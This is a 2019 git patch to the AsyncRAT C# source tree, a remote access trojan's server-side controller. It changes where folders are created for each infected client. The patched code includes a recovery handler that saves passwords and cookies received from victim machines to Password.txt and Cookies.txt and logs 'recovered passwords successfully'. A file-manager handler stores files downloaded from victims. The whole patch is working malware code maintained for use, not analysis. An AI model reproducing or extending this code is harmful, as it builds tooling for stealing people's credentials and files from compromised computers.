From 48be73d7ffb03699967f4f7c6ad9558bbd8618a1 Mon Sep 17 00:00:00 2001 From: NYAN CAT Date: Fri, 24 May 2019 23:44:07 +0300 Subject: [PATCH] Disable the client's permission to create folders --- AsyncRAT-C#/AsyncRAT-Sharp/Forms/Form1.cs | 3 +++ AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormFileManager.cs | 2 ++ AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandleFileManager.cs | 2 +- AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandleRecovery.cs | 2 +- 4 files changed, 7 insertions(+), 2 deletions(-) diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Form1.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Form1.cs index d1d195a..568bbe6 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Form1.cs +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Form1.cs @@ -721,6 +721,9 @@ namespace AsyncRAT_Sharp { Clients client = (Clients)itm.Tag; client.LV.ForeColor = Color.Red; + string fullPath = Path.Combine(Application.StartupPath, "ClientsFolder\\" + client.ID + "\\Recovery"); + if (!Directory.Exists(fullPath)) + Directory.CreateDirectory(fullPath); ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes()); } } diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormFileManager.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormFileManager.cs index 6a4657b..2377bc4 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormFileManager.cs +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormFileManager.cs @@ -74,6 +74,8 @@ namespace AsyncRAT_Sharp.Forms { if (listView1.SelectedItems.Count > 0) { + if (!Directory.Exists(Path.Combine(Application.StartupPath, "ClientsFolder\\" + C.ID))) + Directory.CreateDirectory(Path.Combine(Application.StartupPath, "ClientsFolder\\" + C.ID)); foreach (ListViewItem itm in listView1.SelectedItems) { MsgPack msgpack = new MsgPack(); diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandleFileManager.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandleFileManager.cs index 68a16f5..31e344a 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandleFileManager.cs +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandleFileManager.cs @@ -177,7 +177,7 @@ namespace AsyncRAT_Sharp.Handle_Packet if (SD != null) { if (!Directory.Exists(Path.Combine(Application.StartupPath, "ClientsFolder\\" + SD.Text.Replace("socketDownload:", "")))) - Directory.CreateDirectory(Path.Combine(Application.StartupPath, "ClientsFolder\\" + SD.Text.Replace("socketDownload:", ""))); + return; string filename = Path.Combine(Application.StartupPath, "ClientsFolder\\" + SD.Text.Replace("socketDownload:", "") + "\\" + unpack_msgpack.ForcePathObject("Name").AsString); if (File.Exists(filename)) { diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandleRecovery.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandleRecovery.cs index 14c98e1..37fa83b 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandleRecovery.cs +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandleRecovery.cs @@ -19,7 +19,7 @@ namespace AsyncRAT_Sharp.Handle_Packet { string fullPath = Path.Combine(Application.StartupPath, "ClientsFolder\\" + client.ID + "\\Recovery"); if (!Directory.Exists(fullPath)) - Directory.CreateDirectory(fullPath); + return; File.WriteAllText(fullPath + "\\Password.txt", unpack_msgpack.ForcePathObject("Password").AsString); File.WriteAllText(fullPath + "\\Cookies.txt", unpack_msgpack.ForcePathObject("Cookies").AsString); new HandleLogs().Addmsg($"Client {client.ClientSocket.RemoteEndPoint.ToString().Split(':')[0]} recovered passwords successfully", Color.Purple);